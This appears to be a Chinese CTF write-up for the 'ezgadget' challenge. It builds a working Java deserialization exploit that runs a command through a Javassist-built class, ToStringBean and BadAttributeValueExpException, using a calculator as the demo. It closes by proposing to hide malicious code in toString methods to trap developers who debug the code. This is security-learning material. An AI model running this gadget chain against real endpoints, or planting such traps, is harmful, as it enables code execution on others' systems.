东华杯ezgadget
题目分析
题目给了一个jar,反编译查看
路由
public class IndexController {
@ResponseBody
@RequestMapping({"/"})
public String index(HttpServletRequest request, HttpServletResponse response) {
return "index";
}
@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021) {
objectInputStream.readObject();
}
return "welcome bro.";
}
}
这里存在一个反序列化入口/readobject
但是存在限制
if (name.equals("gadgets") && year == 2021) {
objectInputStream.readObject();
}
这里肯定是考反序列化的知识了,再看看能利用的类
发现ToStringBean.toString
方法可以加载任意类,只需要控制this.ClassByte
的值即可
public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;
public String toString() {
ToStringBean toStringBean = new ToStringBean();
Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object Obj = null;
try {
Obj = clazz.newInstance();
} catch (InstantiationException var5) {
var5.printStackTrace();
} catch (IllegalAccessException var6) {
var6.printStackTrace();
}
return "enjoy it.";
}
}
exp编写
这题还是比较简单的,首先使用javassist
构造恶意的字节码
环境依赖:
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
代码如下:
//构造恶意类
ClassPool pool = ClassPool.getDefault();
CtClass Evil = pool.makeClass("Evil");
Evil.setName("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
CtConstructor constructor = Evil.makeClassInitializer();
constructor.insertBefore(cmd);
byte[] bytes =Evil.toBytecode();
然后通过反射将字节码传入ToStringBean
对象的属性this.ClassByte
ToStringBean toStringBean = new ToStringBean();
Field ClassByte = ToStringBean.class.getDeclaredField("ClassByte");
ClassByte.setAccessible(true);
ClassByte.set(toStringBean,bytes);
到这里可以通过toStringBean.toString();
检测是否能够成功弹出计算器,这里是成功了
下一步是找到能够触发toString()的地方,最好是重写了readObject()的
掏出当年学习CC链画的图:
找到了可利用的类javax.management.BadAttributeValueExpException
这个参数valObj
可以由val
控制,而val
是私有属性,通过构造函数赋值
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
如果val直接传入toStringBean
会在反序列化前就调用了toString,会对利用造成一定困扰
所以这里传入null
,然后通过反射修改val
的值
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);
后面就是进行序列化操作了,在这里还要解决前面的限制
在反序列化之前会调用readUTF()和readInt(),所以序列化的时候也要有构造对应的内容
yteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeUTF("gadgets");
objOut.writeInt(2021);
objOut.writeObject(badAttributeValueExpException);
writeUTF和writeInt的顺序是不能调换的后面使用readUTF和readInt读取数据时能够正确地解析数据,如果前面是writeUTF再writeInt,后面就要readUTF再readInt,如果前面是writeInt再writeUTF,后面就要readInt再readUTF
readUTF方法也必须先于readInt方法调用。这是因为writeUTF和readUTF方法使用一种特殊的编码方式来存储和解析字符串,而writeInt和readInt方法则使用基本的二进制编码方式来处理整数。
后面就是base64加密输出payload
String payload = Base64.getEncoder().encodeToString(btout.toByteArray());
System.out.println(payload);
payload最好进行一次url编码
传入参数后成功弹出计算器:
发现
在调试的时候,发现从第28行开始,每一步都会弹出一个或者两个计算器
难道说IDEA调试所产生的字符串会触发当前已使用类toString()方法的自动调用?
测试
重新创建一个项目进行测试
首先写一个有toString
方法的类
public class test {
private String a;
public test(String b){
a = b;
}
public String toString() {
System.out.println("触发test.toString");
return super.toString();
}
}
再创建一个类进行调试
public class Main {
public static void main(String[] args) {
test t = new test("aa");
int x = 1;
int y = 2;
int res = x + y;
System.out.println(res);
}
}
这个main只是new 了一个test对象,后面再也没有用到与test有关的东西了
当new test()成功之后,就开始触发了这个toString,往后每一步都触发一次
思考
这个应该不能算是一个漏洞吧,只能说是IDEA的特性。站在攻防角度来说,我只能想到一种利用方式——社工
攻击者把恶意代码藏在某个类的toString方法里(建议藏深一点),然后发个受害者,以某种方式引导让他去调试一下。当受害者调试到创建或实例化那个类的代码之后就会触发toString方法里的恶意代码,然后就GG了